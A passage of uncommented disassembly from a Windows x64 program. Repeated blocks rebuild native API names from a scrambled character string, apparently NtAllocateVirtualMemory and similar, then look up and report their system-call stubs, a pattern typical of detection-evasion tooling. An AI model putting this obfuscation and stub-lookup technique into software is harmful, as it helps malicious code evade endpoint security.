call fcn.1400bba00
lea rax, [rbp + 0x1870]
lea rdx, [rbp + 0x1890]
lea r8, [0x1400f558c]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x1870]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x1870]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1890]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x18b0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x18d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x18f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1910]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1930]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1990]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x19b0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x19d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x19f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1a1f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x1a20]
mov rcx, qword [rbp + 0x3280]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x1400067df
lea rsi, [0x1400f555c]
jmp 0x1400067e6
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x1c4f]
mov qword [rbp + 0x3190], rax
nop
nop
lea rdx, [rbp + 0x1c4f]
lea rax, [rbp + 0x1c20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x1c00]
lea rdx, [rbp + 0x1c20]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1be0]
lea rdx, [rbp + 0x1c00]
lea r8, [0x1400f559c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1bc0]
lea rdx, [rbp + 0x1be0]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1ba0]
lea rdx, [rbp + 0x1bc0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1b80]
lea rdx, [rbp + 0x1ba0]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1b60]
lea rdx, [rbp + 0x1b80]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1b40]
lea rdx, [rbp + 0x1b60]
lea r8, [0x1400f5542]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1b20]
lea rdx, [rbp + 0x1b40]
lea r8, [0x1400f55a2]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1b00]
lea rdx, [rbp + 0x1b20]
lea r8, [0x1400f5548]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1ae0]
lea rdx, [rbp + 0x1b00]
lea r8, [0x1400f5580]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1ac0]
lea rdx, [rbp + 0x1ae0]
lea r8, [0x1400f5582]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1aa0]
lea rdx, [rbp + 0x1ac0]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x1400f5584]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x1a40]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1ae0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1b00]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1b20]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1b40]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1b60]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1ba0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1bc0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1be0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1c00]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1c20]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1c4f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x1c50]
mov rcx, qword [rbp + 0x3278]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x140006b7c
lea rsi, [0x1400f555c]
jmp 0x140006b83
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x1edf]
mov qword [rbp + 0x3188], rax
nop
nop
lea rdx, [rbp + 0x1edf]
lea rax, [rbp + 0x1eb0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x1e90]
lea rdx, [rbp + 0x1eb0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1e70]
lea rdx, [rbp + 0x1e90]
lea r8, [0x1400f5542]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1e50]
lea rdx, [rbp + 0x1e70]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1e30]
lea rdx, [rbp + 0x1e50]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1e10]
lea rdx, [rbp + 0x1e30]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1df0]
lea rdx, [rbp + 0x1e10]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1dd0]
lea rdx, [rbp + 0x1df0]
lea r8, [0x1400f558a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1db0]
lea rdx, [rbp + 0x1dd0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1d90]
lea rdx, [rbp + 0x1db0]
lea r8, [0x1400f558c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1d70]
lea rdx, [rbp + 0x1d90]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1d50]
lea rdx, [rbp + 0x1d70]
lea r8, [0x1400f5558]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d50]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x1400f5580]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x1400f5582]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x1400f5584]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x1c70]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1d50]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1d70]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1d90]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1db0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1dd0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1df0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1e10]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1e30]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1e50]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1e70]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1e90]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1eb0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1edf]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x1ee0]
mov rcx, qword [rbp + 0x3270]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x140006f9d
lea rsi, [0x1400f555c]
jmp 0x140006fa4
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x214f]
mov qword [rbp + 0x3180], rax
nop
nop
lea rdx, [rbp + 0x214f]
lea rax, [rbp + 0x2120]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x2100]
lea rdx, [rbp + 0x2120]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x20e0]
lea rdx, [rbp + 0x2100]
lea r8, [0x1400f55a4]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x20c0]
lea rdx, [rbp + 0x20e0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x20a0]
lea rdx, [rbp + 0x20c0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2080]
lea rdx, [rbp + 0x20a0]
lea r8, [0x1400f557e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2060]
lea rdx, [rbp + 0x2080]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2040]
lea rdx, [rbp + 0x2060]
lea r8, [0x1400f5592]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2020]
lea rdx, [rbp + 0x2040]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2000]
lea rdx, [rbp + 0x2020]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1fe0]
lea rdx, [rbp + 0x2000]
lea r8, [0x1400f5588]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1fe0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1fc0]
lea r8, [0x1400f5580]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x1400f5582]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x1400f5584]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x1f00]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2000]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2020]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2040]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2060]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2080]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x20a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x20c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x20e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2100]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2120]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x214f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x2150]
mov rcx, qword [rbp + 0x3268]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x140007392
lea rsi, [0x1400f555c]
jmp 0x140007399
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x23bf]
mov qword [rbp + 0x3178], rax
nop
nop
lea rdx, [rbp + 0x23bf]
lea rax, [rbp + 0x2390]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x2370]
lea rdx, [rbp + 0x2390]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2350]
lea rdx, [rbp + 0x2370]
lea r8, [0x1400f5590]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2330]
lea rdx, [rbp + 0x2350]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2310]
lea rdx, [rbp + 0x2330]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x22f0]
lea rdx, [rbp + 0x2310]
lea r8, [0x1400f557e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x22d0]
lea rdx, [rbp + 0x22f0]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x22b0]
lea rdx, [rbp + 0x22d0]
lea r8, [0x1400f5592]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2290]
lea rdx, [rbp + 0x22b0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2270]
lea rdx, [rbp + 0x2290]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2250]
lea rdx, [rbp + 0x2270]
lea r8, [0x1400f5588]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2250]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2230]
lea r8, [0x1400f5580]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x1400f5582]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x1400f5584]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x2170]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2230]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2250]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2270]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2290]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x22d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x22f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2310]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2330]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2350]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2370]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2390]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x23bf]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x23c0]
mov rcx, qword [rbp + 0x3260]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x140007787
lea rsi, [0x1400f555c]
jmp 0x14000778e
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x25ef]
mov qword [rbp + 0x3170], rax
nop
nop
lea rdx, [rbp + 0x25ef]
lea rax, [rbp + 0x25c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x25a0]
lea rdx, [rbp + 0x25c0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2580]
lea rdx, [rbp + 0x25a0]
lea r8, [0x1400f55a6]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2560]
lea rdx, [rbp + 0x2580]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2540]
lea rdx, [rbp + 0x2560]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2520]
lea rdx, [rbp + 0x2540]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2500]
lea rdx, [rbp + 0x2520]
lea r8, [0x1400f555a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x24e0]
lea rdx, [rbp + 0x2500]
lea r8, [0x1400f5586]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x24c0]
lea rdx, [rbp + 0x24e0]
lea r8, [0x1400f5588]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24c0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2480]
lea rdx, [rbp + 0x24a0]
lea r8, [0x1400f5548]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2460]
lea rdx, [rbp + 0x2480]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2440]
lea rdx, [rbp + 0x2460]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x1400f5592]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x23e0]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2480]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x24e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2500]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2540]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2560]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2580]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x25a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x25c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x25ef]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x25f0]
mov rcx, qword [rbp + 0x3258]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x140007b24
lea rsi, [0x1400f555c]
jmp 0x140007b2b
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x27bf]
mov qword [rbp + 0x3168], rax
nop
nop
lea rdx, [rbp + 0x27bf]
lea rax, [rbp + 0x2790]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x2770]
lea rdx, [rbp + 0x2790]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x1400f5596]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x1400f55a2]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x1400f5592]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x1400f5590]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0x26b0]
lea r8, [0x1400f5548]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2670]
lea rdx, [rbp + 0x2690]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2650]
lea rdx, [rbp + 0x2670]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x1400f5592]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x2610]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x2630]
mov rcx, rax
